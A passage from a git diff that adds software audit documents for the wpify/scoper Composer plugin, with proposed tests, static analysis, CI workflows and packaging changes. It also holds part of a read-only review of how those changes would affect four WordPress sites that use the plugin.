`Test\Prefix\get_option(` (this is the whole product); +* `deps/composer/autoload_static.php` keys carry the lowercased prefix (`scripts/postinstall.php:41-45` regression); +* `scoper-autoload.php` has every `humbug_phpscoper_expose_*` commented out (`postinstall.php:51-52`); +* the `tmp-*` directory is gone afterwards. + +Mark these `#[Group('integration')]` and exclude from the default suite so `composer test` stays fast. + +**(c) Golden-file — symbol extraction. 4 tests, fast.** + +Check in `tests/fixtures/symbols-input/` containing ~6 hand-written PHP files that exercise every branch of `resolve()` (`scripts/extract-symbols.php:51-78`): namespaced file, class, trait, interface, function, `if ( ! class_exists() )`-wrapped class, and — critically — a `define()` **inside a function body** (the exact case commit `a59d577` just fixed). Assert the extractor output byte-matches `tests/fixtures/symbols-expected/output.php`. + +This tier is cheap and directly protects the last two bug-fix commits (`a59d577`, `af1b752`) from regressing. + +### 4.5 Sequencing and effort + +1. **Characterisation first.** Before touching `Plugin.php`, write tier (b) against the *current* code — even if it needs `chdir()` and `@runInSeparateProcess`. It is ugly, but it is the safety net for the §2 refactor. **Effort: M (1 day).** +2. Refactor per §2.1 + §4.3 minimal fixes. **Effort: M (1–2 days).** +3. Tier (a) unit tests. **Effort: M (1 day, ~400 lines).** +4. Tier (c) golden files. **Effort: S (2 hours).** +5. Clean up tier (b) now that injection exists. **Effort: S.** + +**Total: ~4–5 focused days to go from 0 % to meaningful coverage.** Realistic target: 85 %+ line coverage on `src/`, with the process-invocation seam mocked. + +* **Severity: high. Effort: L.** + +--- + +## 5. Static analysis & code style + +### 5.1 PHPStan + +Not installed (`vendor/bin` contains no analyser). I could not run it without modifying `composer.json`, which is outside this audit's write scope — so the following is derived from reading the code, and should be confirmed by an actual run. + +**Recommended starting point: level 5, with a baseline, then ratchet.** + +Rationale: level 0–4 on untyped PHP 5-style code will report almost nothing useful (no types to check). Level 5 turns on argument-type checking, which is where the real bugs are. Level 6 (`missingType.iterableValue`) would drown you in ~30 "no value type specified in iterable type array" errors on day one — worth reaching, not worth starting at. Level 8 (null-safety) is the eventual target and is realistic *after* the §2 refactor, because `readonly` typed properties give PHPStan everything it needs. + +**What level 5 would flag today (predicted, high confidence):** + +| Location | Predicted error | +|---|---| +| `Plugin.php:23,24` | `Property Plugin::$composer has no type specified.` (level 6 for the `@var`-only ones too) | +| `Plugin.php:110` | `Method Plugin::path() has parameter $parts with no value type specified in iterable type array.` | +| `Plugin.php:110,116,44,51,98,101,104` | `Method … has no return type specified.` | +| `Plugin.php:135` | `Parameter #1 $json of function json_decode expects string, string\|false given.` — `file_get_contents()` can return `false`. **Real bug**, not noise. | +| `Plugin.php:148` | Same: `file_get_contents()` → `string\|false` passed to `str_replace`. | +| `Plugin.php:144,145` | `Cannot access property $scripts on stdClass\|array\|bool\|float\|int\|string\|null` — `json_decode(..., false)` returns `mixed`. **Real bug**: a malformed `composer-deps.json` produces `null`, then `$composerJson->scripts` on null. | +| `Plugin.php:167` | `realpath()` returns `string\|false`; concatenated into a command string at `:170` unchecked. **Real bug** — if `vendor/wpify/php-scoper/bin/php-scoper.phar` is missing, the generated script becomes ` add-prefix --output-dir=…` and fails cryptically. | +| `Plugin.php:212-218` | `$config` is `mixed` from `require`; `$config['prefix'] = …` on mixed. | +| `Plugin.php:223,230,237,244,251` | `in_array()` called without `$strict` — level 5 `argument.type` won't catch it but `phpstan-strict-rules` will. Worth adding. | +| `Plugin.php:269-271` | `strpos()` returns `int\|false`; the code checks `is_int()` which PHPStan understands — this one is fine, just unusual. | +| `Plugin.php:280` | `mkdir()` return value ignored — a permission failure is silent. | +| `scripts/extract-symbols.php:53` | `$node->name` on `Namespace_` is `?Name` — `->getParts()` on possibly-null. **Real bug** for a file with `namespace { }` (unbraced global namespace block). | +| `scripts/extract-symbols.php:113` | `parse()` returns `?array` — `foreach ( $ast as … )` on possibly-null; `$traverser->traverse( $ast )` requires non-null. **Real bug** on an unparseable file that returns null rather than throwing. | +| `scripts/postinstall.php:40,50` | `file_get_contents()` → `string\|false` into `preg_replace`. | +| `config/scoper.inc.php:79,95` | `$config['exclude-classes']` — offset may not exist (§3.5). **Real bug.** | + +That is **six genuine bugs** predicted from static analysis alone, all of which are silent-corruption or cryptic-failure classes. Strong argument for adopting it. + +**Config to start with:** + +```neon +# phpstan.neon +parameters: + level: 5 + paths: + - src + - scripts + - config + excludePaths: + - symbols/* # 300KB of generated var_export arrays — nothing to analyse + treatPhpDocTypesAsCertain: false +``` + +Add `phpstan/phpstan: ^2.1` and `phpstan/extension-installer` to `require-dev`. **Do not** generate a baseline on the first run — with only ~25 errors it is cheaper to fix them all than to carry a baseline. Reach level 6 in the same PR as the typed-property migration (§1.3b), level 8 after. + +* **Severity: medium (the tooling) / high (the six bugs it finds). Effort: M.** + +**Psalm:** skip. One analyser is enough for 300 lines, and PHPStan's Composer-plugin ecosystem is better. + +### 5.2 Code style — PSR-12 vs. WPCS + +The codebase uses WordPress Coding Standards spacing (`function foo( $bar ) {`, tabs, Yoda-ish comparisons) — see `Plugin.php` throughout, `config/scoper.inc.php`, `scripts/*.php`. That is unusual for a Composer plugin, whose contributors and reviewers come from the PSR world, and whose entire dependency surface (`composer/composer`, `symfony/console`) is PSR-12. + +**Honest assessment of the trade-off:** + +| | Keep WPCS | Migrate to PSR-12 | +|---|---|---| +| Churn | zero | ~100 % of every PHP line reformatted; `git blame` on `src/Plugin.php` becomes useless without `--ignore-rev` | +| Contributor familiarity | matches the WordPress audience the tool serves | matches the Composer-plugin audience actually reading `Plugin.php` | +| Tooling | `squizlabs/php_codesniffer` + `wp-coding-standards/wpcs` (heavier, WPCS 3.x needs `phpcsutils`) | `friendsofphp/php-cs-fixer` — single dep, `@PSR12` + `@PHP82Migration` rulesets, and the `@PHP82Migration` set does the `array()` → `[]` conversion for free | +| Consistency with the product | the *scoped output* is other people's code — style is irrelevant there | — | + +**Recommendation: migrate to PSR-12, but do it as one isolated commit with no logic changes**, and add the SHA to `.git-blame-ignore-revs`. The deciding factor is that `@PHP82Migration` in PHP-CS-Fixer mechanically performs several of the §1.3(d) modernisations, so the "churn" commit and the "modernise" commit are the same commit — you pay the blame cost once and get the array-syntax migration free. + +If the maintainer feels strongly about WPCS, **the acceptable alternative is to keep WPCS and just add a `.editorconfig` + `phpcs.xml.dist`** — an enforced inconsistent style beats an unenforced consistent one. What is *not* acceptable is the status quo of no config at all, where the style is a convention held only in the maintainer's head. + +```ini +# .editorconfig (do this regardless of the PSR-12 decision) +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true + +[*.php] +indent_style = tab +indent_size = 4 + +[*.{json,yml,yaml,neon}] +indent_style = space +indent_size = 2 + +[symbols/*.php] +# generated by scripts/extract-symbols.php — do not reformat +trim_trailing_whitespace = false +``` + +Note the `symbols/*.php` carve-out: those files are `var_export()` output and **must** be excluded from any fixer, or every regeneration produces a 300 KB diff fight between the generator and the formatter. + +* **Severity: medium. Effort: M** (S for `.editorconfig` alone). + +--- + +## 6. CI/CD, releasing and versioning + +### 6.1 Current state + +No `.github/workflows/`, no `.gitlab-ci.yml`. The README documents CI **for consumers** (§Deployment) but the project itself has none. Nothing runs on push. `composer validate` has never been enforced — and it would currently warn, because `composer.lock` is absent from the repo while `require-dev` is populated. + +### 6.2 Proposed `.github/workflows/ci.yml` + +```yaml +name: CI +on: + push: { branches: [ master ] } + pull_request: + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: shivammathur/setup-php@v2 + with: { php-version: '8.4', coverage: none } + - run: composer validate --strict + - run: composer install --no-interaction --prefer-dist + - run: vendor/bin/phpstan analyse --no-progress + - run: vendor/bin/php-cs-fixer check --diff + + test: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + php: [ '8.2', '8.3', '8.4', '8.5' ] + composer: [ 'lowest', 'highest' ] + steps: + - uses: actions/checkout@v4 + - uses: shivammathur/setup-php@v2 + with: { php-version: '${{ matrix.php }}', coverage: none } + - uses: ramsey/composer-install@v3 + with: { dependency-versions: '${{ matrix.composer }}' } + - run: vendor/bin/phpunit --testsuite unit + - run: vendor/bin/phpunit --testsuite integration +``` + +Matrix rationale: **8.2 / 8.3 / 8.4 / 8.5** — exactly the php-scoper-supported ∩ php.net-supported window from §1.1. Drop `8.2` from the matrix on 2027-01-01 and bump the constraint in the same PR. The `lowest`/`highest` axis matters here because `composer/composer: ^2.6` spans a wide API surface and the plugin touches `Composer\Console\Application` directly. + +Add a `composer-plugin` smoke job that actually installs the plugin into a scratch project — this is the only way to catch "the plugin errors during `activate()`" class of bug, which no unit test reaches: + +```yaml + smoke: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: shivammathur/setup-php@v2 + with: { php-version: '8.4' } + - name: Install into a scratch project + run: | + mkdir -p /tmp/scratch && cd /tmp/scratch + composer init --no-interaction --name=test/scratch + composer config repositories.local path "$GITHUB_WORKSPACE" + composer config --no-plugins allow-plugins.wpify/scoper true + composer config extra.wpify-scoper.prefix 'Test\Deps' + echo '{"require":{"psr/log":"^3.0"}}' > composer-deps.json + composer require wpify/scoper:@dev --no-interaction + test -f deps/scoper-autoload.php + grep -q 'namespace Test\\\\Deps' deps/psr/log/src/LoggerInterface.php +``` + +### 6.3 Scheduled symbol regeneration + +The value proposition of this package is "an up-to-date database of WordPress and WooCommerce symbols" (README:11). Today that database is updated whenever a human remembers — the git log shows ad-hoc "add new symbols" / "Update symbols" commits (`b00d523`, `4abe3a6`). A WordPress release that adds a function ships broken scoping for every user until someone notices. + +```yaml +name: Refresh symbols +on: + schedule: [ { cron: '0 4 * * 1' } ] # Mondays 04:00 UTC + workflow_dispatch: + +jobs: + refresh: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: shivammathur/setup-php@v2 + with: { php-version: '8.4' } + - run: composer update --no-interaction # pulls latest WP / WC / AS / WP-CLI + - run: composer run extract + - name: Report symbol delta + run: | + git diff --stat symbols/ + php -r '$o=require "symbols/wordpress.php"; foreach($o as $k=>$v) printf("%s: %d\n",$k,count($v));' + - uses: peter-evans/create-pull-request@v7 + with: + branch: chore/refresh-symbols + title: 'chore: refresh WordPress/WooCommerce symbol lists' + commit-message: 'chore: refresh symbol lists' + labels: symbols +``` + +Two guards worth adding to that job: + +* **fail if the symbol count *drops* by more than ~1 %** — a parse failure in `extract-symbols.php` currently just `echo`es (`extract-symbols.php:131`) and continues, silently producing a truncated list. A truncated WordPress list means WP functions get scoped, which breaks consumers at runtime in the worst possible way. This is the single most valuable CI guard in the whole proposal. +* open a PR rather than pushing to `master`, so a human eyeballs the diff. + +* **Severity: high. Effort: M.** + +### 6.4 Versioning & release practice + +* **65 tags**, well-formed SemVer, no `v` prefix, consistently applied. Good. +* **No CHANGELOG.md.** For a tool whose upgrades can silently change generated output, this is a real gap — a consumer upgrading `3.2.15` → `3.2.21` has to read 6 commit messages, several of which are `add new symbols` / `Upgrade`. + * **Fix:** adopt Keep-a-Changelog, and enable GitHub's auto-generated release notes as a stopgap (zero effort, immediately better than nothing). + * **Severity: medium. Effort: S.** +* **Commit message hygiene is inconsistent** — `fix: extract constants defined inside function bodies` (Conventional) sits next to `Upgrade`, `Fix twig`, `postinstall update`. Adopting Conventional Commits would let `release-please` or `git-cliff` generate the changelog automatically, which is the only way a changelog survives long-term on a one-maintainer project. + * **Severity: low. Effort: S.** +* **The `3.2.x` line has absorbed 21 patch releases**, several of which changed generated output (`af1b752 fix exposed classes and function`, `a59d577 fix: extract constants defined inside function bodies`). Changing what bytes land in a consumer's `deps/` is arguably a minor, not a patch. Not worth re-litigating history, but worth a stated policy going forward. +* **README "Requirements" (README:13-18) is stale** — it stops at `3.2` and says "PHP >= 8.1", which is both out of date (§1.2) and unhelpful now that `3.2` has 21 patch releases. Replace the per-version table with a single line: *"Requires PHP 8.2+. See CHANGELOG.md for per-release notes."* The README's own example also pins `"platform": {"php": "8.0.30"}` (README:39) — contradicting its own requirements section two screens earlier. + * **Severity: medium. Effort: S.** + +--- + +## 7. Packaging hygiene + +### 7.1 What actually ships — correcting the premise + +`git ls-files` returns **14 files**. `sources/` (163 MB) and `vendor/` are git-ignored (`.gitignore:3-4`) and therefore are not in the repository at all, let alone in the dist archive. The tarball is small today. + +Of the 14 tracked files, almost everything is **required at runtime**: + +| Path | Ships? | Needed at runtime? | +|---|---|---| +| `src/Plugin.php` | yes | yes | +| `bin/wpify-scoper` | yes | yes (`composer.json:17-19`) | +| `config/scoper.inc.php`, `config/scoper.config.php` | yes | yes — copied to temp (`Plugin.php:262`) | +| `symbols/*.php` (308 KB) | yes | **yes** — `require`d at `Plugin.php:226,233,240,247,254` | +| `scripts/postinstall.php` | yes | **yes** — read at `Plugin.php:148` | +| `scripts/extract-symbols.php` (4.9 KB) | yes | **no** — dev-only | +| `README.md` | yes | no | +| `docs/` (this file) | will ship once committed | no | + +So the `.gitattributes` gap is worth roughly **10 KB**, not the megabytes one might assume. It is still worth adding — mostly so that `docs/` does not grow into the payload over time, and to signal intent: + +```gitattributes +# .gitattributes +/.github export-ignore +/.gitattributes export-ignore +/.gitignore export-ignore +/.editorconfig export-ignore +/docs export-ignore +/tests export-ignore +/phpunit.xml.dist export-ignore +/phpstan.neon export-ignore +/.php-cs-fixer.dist.php export-ignore +/scripts/extract-symbols.php export-ignore + +# never let a formatter or diff tool touch generated symbol tables +/symbols/*.php -diff linguist-generated=true +``` + +Note `scripts/` as a whole must **not** be export-ignored — `postinstall.php` lives there and is loaded at runtime. Only the extractor is excludable. Alternatively move `postinstall.php` to `resources/` and export-ignore all of `scripts/`, which is cleaner but a breaking internal path change. + +The `linguist-generated` marker also collapses `symbols/` in GitHub PR diffs, which makes the §6.3 symbol-refresh PRs actually reviewable. + +* **Severity: low. Effort: S.** + +### 7.2 `composer.lock` in `.gitignore` — correct, with a caveat + +`.gitignore:5` ignores `/composer.lock`. For a **library**, that is the conventional and correct choice: consumers resolve against their own constraints, and a committed lock would be dead weight. + +The caveat specific to *this* project: `require-dev` (`composer.json:36-43`) is not test tooling, it is the **input data** for symbol extraction (`johnpbloch/wordpress: *`, `wpackagist-plugin/woocommerce: *`, all unconstrained `*`). Without a lock, `composer run extract` produces a different result on every machine and every day, and there is no record of *which* WordPress version a given `symbols/wordpress.php` was generated from. + +* **Recommendation:** keep `composer.lock` ignored (correct for a library), but **record the provenance** — have `scripts/extract-symbols.php` write a header comment into each generated file: + ```php + "Repositories are only available to the root package and the repositories defined in your dependencies will not be loaded." + +And per the schema docs, `require-dev`, `repositories`, `config`, `minimum-stability` and `scripts` are all root-only: they "are ignored when the package is installed as a dependency of another project." + +Concrete consequences for `wpify/scoper` as a dependency: + +| Key in the published `composer.json` | Effect on a consumer | +|---|---| +| `repositories: [ wpackagist.org ]` (`:24-29`) | **none** — not loaded | +| `require-dev: { johnpbloch/wordpress, wpackagist-plugin/woocommerce, … }` (`:36-44`) | **none** — never installed | +| `minimum-stability: stable` (`:23`) | **none** | +| `config.allow-plugins` (`:60-65`) | **none** — the consumer must set `allow-plugins.wpify/scoper` themselves, which the README correctly documents (README:100, 132) | +| `scripts.extract` (`:20-22`) | **none** — dependency scripts are not run | +| `extra.wordpress-install-dir`, `extra.installer-paths`, `extra.textdomain` (`:47-58`) | **none** for resolution; `extra` *is* readable by other plugins, but `composer/installers` and `johnpbloch/wordpress-core-installer` only act on the root package's `extra` | +| `extra.class` (`:46`) | **this one does apply** — it is how Composer finds the plugin entry point. Correct and required. | +| `require: { php, composer-plugin-api, composer/composer, wpify/php-scoper }` (`:30-35`) | **applies** — this is the only section that constrains consumers, hence §1.2 | + +So the only real issue in this whole section is the `^8.1` lie. The dev-requirement noise is harmless — but it *is* confusing to read, and a one-line comment or a note in CONTRIBUTING explaining "these are symbol-extraction sources, not test tooling" would save the next contributor a puzzled ten minutes. + +One genuine oddity worth flagging: **`extra.textdomain: { "wpify-custom-fields": "some-new-textdomain" }` (`composer.json:56-58`) appears to be leftover debris** — nothing in this repository reads it, and `wpify-custom-fields` is a different package. It is inert, but it ships to every consumer and looks like a copy-paste accident. + +* **Severity: low. Effort: S** (delete it). + +--- + +## 8. Documentation + +### 8.1 Gaps in the current README + +| Gap | Impact | +|---|---| +| **No failure documentation.** What does the user see when scoping fails? Today: often nothing at all (§3.1), or a `usort()` TypeError from inside a php-scoper patcher (§3.5), or a silent `exit` (§3.4). The README never sets expectations. | high | +| **No troubleshooting section.** The most common real-world problems — a dependency that needs a custom patcher, a WP function getting scoped anyway, `allow-plugins` not set, the `tmp-*` folder left behind — are undocumented. | high | +| **`scoper.custom.php` discovery is undocumented and subtly broken.** README:150 says "in root of your project", but `Plugin::createPath( [ 'scoper.custom.php' ], true )` (`Plugin.php:204,268-276`) resolves to the project root **only if `dirname(__DIR__)` contains the literal substring `vendor/wpify/scoper`**. It therefore silently falls back to the *package's own* directory when: the consumer has renamed `vendor-dir` in `config` (fully supported by Composer); the plugin is installed globally *and* invoked in a project (the global path is `~/.composer/vendor/wpify/scoper`, so this case happens to work); or the plugin is symlinked in via a `path` repository during development. In every failing case the user's `scoper.custom.php` is **silently ignored** with no diagnostic. | high | +| **No guidance on committing `deps/` and `composer-deps.lock`.** This is the #1 question for anyone deploying a WordPress plugin. The README's CI examples imply `deps/` is a build artifact (README:95, 142) but never says so, and `composer-deps.lock` is never mentioned at all despite being written to the project root (`postinstall.php:57-58`). | high | +| **No upgrade guide.** With 65 tags and no changelog, upgrading is a leap of faith. | medium | +| **No CONTRIBUTING.** How to regenerate symbols, what `sources/` is for, why `require-dev` contains WordPress. | medium | +| **README:39 pins `"php": "8.0.30"`** in the `config.platform` example while README:18 says "PHP >= 8.1". Directly contradictory. | medium | +| **`--no-dev` is undocumented** because it is unreachable (§3.3). | low | + +### 8.2 The `scoper.custom.php` fix + +Document *and* fix. The fix is small and removes the string-matching entirely: + +```php +// in activate(), where $composer is available: +$this->projectRoot = dirname( Factory::getComposerFile() ); +// or, robustly, for the vendor location: +$vendorDir = $composer->getConfig()->get( 'vendor-dir' ); +``` + +Then `createPath( [ 'scoper.custom.php' ], true )` becomes `$this->projectRoot . '/scoper.custom.php'` unconditionally — correct in every installation topology, and testable (§4.3). Additionally, **log when a custom file is found**, via the injected `IOInterface` (which is stored at `Plugin.php:53` and then *never used* — the plugin produces no output whatsoever): + +```php +if ( file_exists( $custom_path ) ) { + $this->io->write( sprintf( 'wpify/scoper: applying customizations from %s', $custom_path ) ); + copy( ... ); +} +``` + +That `$this->io` is captured and unused is itself a finding: **the plugin is entirely silent**, which is why every failure mode in this report presents as "nothing happened." + +* **Severity: high. Effort: S.** + +### 8.3 Proposed documentation structure + +``` +README.md ← keep short: what it does, install, minimal config, link out +docs/ + configuration.md ← every extra.wpify-scoper key: type, default, example, failure mode + customization.md ← scoper.custom.php: discovery rules, function signature, worked examples + (move the Guzzle patcher example here from README:154-170) + deployment.md ← GitLab CI + GitHub Actions (move from README:83-144) + + the "commit deps/ or build it?" decision, both branches explained + troubleshooting.md ← symptom → cause → fix table (see below) + upgrading.md ← per-major migration notes +CHANGELOG.md ← Keep a Changelog +CONTRIBUTING.md ← regenerating symbols, what sources/ is, running tests +``` + +`docs/troubleshooting.md` should be symptom-first, because that is how users arrive: + +| Symptom | Cause | Fix | +|---|---|---| +| `composer install` succeeds but no `deps/` folder | `extra.wpify-scoper.prefix` missing or misspelled | §3.1 — after the fix this becomes a loud error instead | +| `Class "…\WP_Query" not found` at runtime | `globals` does not include `wordpress`, or the symbol list predates your WP version | add to `globals`; update `wpify/scoper` | +| `scoper.custom.php` seems to be ignored | non-standard `vendor-dir`, or path-repository install | §8.2 | +| `tmp-XXXXXXXXXX/` left in the project root | scoping aborted before `postinstall.php` ran | safe to delete; add `tmp-*` to `.gitignore` | +| Plugin never runs at all | `allow-plugins.wpify/scoper` not set | `composer config allow-plugins.wpify/scoper true` | +| A vendored library breaks after scoping | it uses dynamic class names / string-based FQCNs | write a patcher — link to `docs/customization.md` | + +Also add `tmp-*` and (optionally) `deps/` to a documented `.gitignore` snippet in the README — currently a user's first `composer install` can litter their repo root with an untracked `tmp-*` directory if anything fails. + +* **Severity: medium. Effort: M** (1 day for the full set; S for troubleshooting alone, which is the highest-value single page). + +--- + +## 9. Recommended sequencing + +**Ship this week (all S, all independently valuable):** + +1. `composer.json:31` → `"php": "^8.2"` — **critical**, one character. +2. Fail-fast on missing/invalid `prefix` (§3.1, §3.6) — **critical**, ~40 lines for the minimal version. +3. `exit;` → `throw` at `Plugin.php:215`; `require_once` → `require` at `:212` (§3.4). +4. Seed `exclude-classes`/`exclude-namespaces` to `[]` (§3.5). +5. Delete or wire up `getCapabilities()` (§0/#5) and the `NO_DEV` constants (§3.3). +6. `.editorconfig` + `.gitattributes` (§5.2, §7.1). +7. Use the captured-but-unused `$this->io` to report what the plugin is doing (§8.2). + +**Next (M):** + +8. `docs/troubleshooting.md` + fix `scoper.custom.php` discovery (§8.2) + README requirements/platform contradiction (§6.4). +9. PHPStan level 5 and fix the ~25 findings — six of which are real bugs (§5.1). +10. CI: validate + PHPStan + smoke job (§6.2); scheduled symbol refresh with the count-drop guard (§6.3). + +**Then (L):** + +11. Characterisation integration test → refactor per §2.1 → full unit suite (§4.5). +12. PSR-12 migration as one blame-ignored commit bundled with `@PHP82Migration` (§5.2). +13. CHANGELOG + Conventional Commits + release automation (§6.4). + +**Note on verification:** PHPStan findings in §5.1 are predicted from reading the code, not from an actual run — installing an analyser would have required editing `composer.json`, which is outside this audit's write scope. Confirm with a real run before treating the list as exhaustive. diff --git a/docs/improvements/consumers/A-bedrock-alfamarka-group.md b/docs/improvements/consumers/A-bedrock-alfamarka-group.md new file mode 100644 index 0000000..92646ac --- /dev/null +++ b/docs/improvements/consumers/A-bedrock-alfamarka-group.md @@ -0,0 +1,528 @@ +# Consumer impact — Group A: Bedrock sites (alfamarka, marieolivie, dluhopisy, teatechnik) + +Verification of the proposed `wpify/scoper` changes against four real Bedrock-style WordPress +projects. **All inspection was read-only.** No file in any of the four projects was created, +modified or deleted; no `composer install/update` was run. Scratch artefacts live in +`/private/tmp/claude-503/-Users-wpify-projects-scoper/a8a9361a-6f4f-45a7-9ff3-d48b90efa403/scratchpad/`. + +--- + +## 0. Baseline facts established first + +These govern every verdict below, so they are stated up front with evidence. + +### 0.1 The plugin is installed **globally and unpinned**, not per project + +`wpify/scoper` is in **no** project's `vendor/`. It is installed at +`/Users/wpify/.composer/vendor/wpify/scoper` from `/Users/wpify/.composer/composer.json`: + +```json +{ "require": { "wpify/scoper": "^3.2" }, "config": { "allow-plugins": { "wpify/scoper": true } } } +``` + +Installed version **3.2.21** (`~/.composer/composer.lock`), alongside `wpify/php-scoper` 0.18.18 +(which itself declares `"php": "^8.2"` — direct confirmation of C4's unsatisfiability claim). + +The CI of three of the four projects re-resolves it on **every pipeline, with no constraint**: + +- `alfamarka/.gitlab-ci.yml:43` — `composer global require wpify/scoper` +- `marieolivie/.gitlab-ci.yml:41` — same +- `dluhopisy/.gitlab-ci.yml:44` — same + +There is no lock file, no version pin and no staging gate between a Packagist release and these +production pipelines. **Every change discussed below reaches these three sites on their next +pipeline run.** This is the largest consumer-side risk multiplier in this report and it is +independent of the merits of any individual change. + +I verified that the installed 3.2.21 is **byte-identical** to repo HEAD for `src/Plugin.php`, +`scripts/postinstall.php` and `config/scoper.inc.php` (`diff` returned no output for all three). +Only `symbols/*.php` differ. So all source-level reasoning below applies directly to the code that +actually built these projects' `deps/`. + +### 0.2 `deps/` is a hard bootstrap dependency of every request + +Every one of the four requires the scoped autoloader from `wp-config.php`, before anything else: + +| Project | Line | +|---|---| +| alfamarka | `web/wp-config.php:12` — `require_once dirname(__DIR__) . '/web/app/deps/scoper-autoload.php';` | +| marieolivie | `web/wp-config.php:12` — same | +| dluhopisy | `web/wp-config.php:8` — same | +| teatechnik | `web/wp-config.php:17` — same | + +`alfamarka/bootstrap.php:4-5` then does `use AlfamarkaDeps\DI\Container;`. Prefix usage is +widespread in project code: 29 files (alfamarka), 15 (marieolivie), 61 (dluhopisy), 42 (teatechnik) +under `src/` + `web/app/mu-plugins/`. + +**Consequence:** a missing, half-written or symbol-corrupted `deps/` is not a degraded feature, it +is a whole-site HTTP 500. This raises the value of C3 and the cost of any H1 regression. + +### 0.3 Configuration is identical across all four + +`extra.wpify-scoper` contains exactly two keys everywhere — `prefix` and `folder` — with +`folder: "web/app/deps"` in all four. No `globals`, no `autorun`, no `temp`, no `composerjson`. + +| Project | prefix | composer.json:line | +|---|---|---| +| alfamarka | `AlfamarkaDeps` | `composer.json:117-120` | +| marieolivie | `AlfamarkaDeps` | `composer.json:97-100` | +| dluhopisy | `DluhopisyDeps` | `composer.json:91-94` | +| teatechnik | `TeatechnikDeps` | `composer.json:77-80` | + +All four `composer-deps.json` files are **byte-identical** (612 bytes): 8 requires + `ext-json`, +`config.platform.php: "8.3"`, and an `allow-plugins` block. No `require-dev`, no `scripts`, no +`repositories`, no `extra`. + +`composer-deps.lock`: 14 packages, **0 dev packages, 0 packages of type `composer-plugin`** in all +four. Packages scoped: `laravel/serializable-closure`, `php-di/invoker`, `php-di/php-di`, +`psr/container`, `symfony/deprecation-contracts`, `symfony/polyfill-ctype`, +`symfony/polyfill-mbstring`, `twig/twig`, `wpify/{asset,custom-fields,model,plugin-utils,snippets,templates}`. + +The `allow-plugins` block in `composer-deps.json` (`composer/installers`, +`dealerdirect/phpcodesniffer-composer-installer`, `roots/wordpress-core-installer`, +`mnsami/composer-custom-directory-installer`) is **vestigial copy-paste from the outer +`composer.json`** — none of those packages exists in the scoped tree. + +### 0.4 Deployment + +| Project | CI | deps reaches production via | +|---|---|---| +| alfamarka | `.gitlab-ci.yml` active | `composer` job artifact `$CI_PROJECT_DIR/web/app/deps` (`:34`) → `server_deploy … web/app/deps/ …` (`:82`) | +| marieolivie | active | artifact `:32` → `server_deploy … web/app/deps/ …` (`:77`) | +| dluhopisy | active | artifact `:35` → `server_deploy … web/app/deps/ …` (`:72`) | +| teatechnik | **none** (`.gitlab-ci.example.yml` only) | **UNKNOWN** — see §4.6 | + +`deps/` is **not committed** anywhere: `.gitignore` has `web/app/deps/*` in all four +(alfamarka `:20`, marieolivie `:20`, dluhopisy `:14`, teatechnik `:9`), and `git ls-files +web/app/deps` returns 0 files in all four. It is a pure build artefact. + +The final rsync is **additive** — `alfamarka/.gitlab-ci/scripts/server-deploy:9`: + +```bash +rsync -av --exclude=".gitlab-ci" "$FILES_PATH/" "$PROJECT_PATH/" +``` + +no `--delete`, reinforced by `RSYNC_NO_DELETE: true` in each `.gitlab-ci.yml`. **Files that +disappear from a build are never removed from the server.** + +CI runner image is `composer:2.8.2` (all three). I resolved its PHP version from the upstream +build definition rather than guessing: `composer/docker` commit `327b1e81` ("release 2.8.2", +2024-10-30) has `latest/Dockerfile:1` = `FROM php:8-alpine`, which at that build date resolved to +**PHP 8.3.x**. DDEV `php_version`: 8.3 (alfamarka, marieolivie, dluhopisy), 8.4 (teatechnik). +Host CLI: PHP 8.4.20. + +--- + +## 1. Live-corruption evidence mined from the built `deps/` + +All four have a built `deps/` on disk (alfamarka Jul 6, marieolivie Jul 6, dluhopisy Jul 13, +teatechnik May 1). I mined all four for the H1 and H2 bugs. + +### H2 — `autoload_static.php` classmap corruption: **not present** + +The postinstall regex (`scripts/postinstall.php:40-44`) matches `'([[:alnum:]]+)' => …` and +prefixes the key with the lowercased prefix. Grepping each generated +`deps/composer/autoload_static.php` for keys with no backslash: + +| Project | unqualified keys found | what they are | +|---|---|---| +| alfamarka | 9 (lines 10-18) | exactly the `$files` md5 keys — `alfamarkadeps6e3fae29…` etc. | +| marieolivie | 9 (lines 10-18) | same, `alfamarkadeps…` | +| dluhopisy | 9 (lines 10-18) | `dluhopisydeps…` | +| teatechnik | 9 (lines 10-18) | `teatechnikdeps…` | + +Every `$classMap` key is namespaced (`'AlfamarkaDeps\\DI\\Container' => …`) and therefore contains +a backslash, which the `[[:alnum:]]+` character class cannot match. **The over-broad regex has +never fired on a classmap key in any of these four projects.** Narrowing it to the `$files` block +produces byte-identical output here. + +### H1 — prefix-stripping with no right-hand boundary: **no live corruption** + +Two independent probes (`scratchpad/h1-probe.php`, `scratchpad/h1-content-scan.php`): + +1. **Symbol-set probe.** Loaded the 1,147 excluded classes + 464 excluded namespaces, extracted + every scoped symbol from each `autoload_static.php` (480 / 480 / 480 / 475), and tested whether + any excluded symbol is a *proper* prefix of any scoped symbol. **0 collisions in all four.** + None of the seven scoped root namespaces (`DI`, `Invoker`, `Laravel`, `Psr`, `Symfony`, `Twig`, + `Wpify`) is itself an excluded symbol. +2. **Content grep.** `grep -rE "^\s*use\s+\\\\?(DI|Invoker|Twig|Psr|Laravel|Symfony|Wpify)\\\\"` + across each `deps/` tree: **0 files** in all four. No scoped root namespace has been de-prefixed. + +The one case where the de-prefixing has demonstrably run is **namespace exclusions, and there it is +doing the right thing**: + +- `deps/wpify/snippets/src/CustomSMTP.php:5` — `use PHPMailer\PHPMailer\PHPMailer;` + (excluded namespace `PHPMailer\PHPMailer` is a strict prefix of the referenced FQN) +- `deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:10` and + `.../SubscriptionMetabox.php:10` — `Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController` + (excluded namespace `Automattic\WooCommerce\Internal\DataStores\Orders`) + +**This is the constraint that makes H1 dangerous.** See §2, H1. + +Also observed and *not* corruption: `\WP_CONTENT_DIR` in `deps/wpify/asset/src/AssetFactory.php:26`, +`deps/wpify/custom-fields/src/{CustomFields.php:268,337, Api.php:177, Helpers.php:243-244}`. +`WP_CONTENT_DIR` is present in `exclude-constants` (540 entries in the installed list), so +php-scoper leaves it global natively; the class symbol 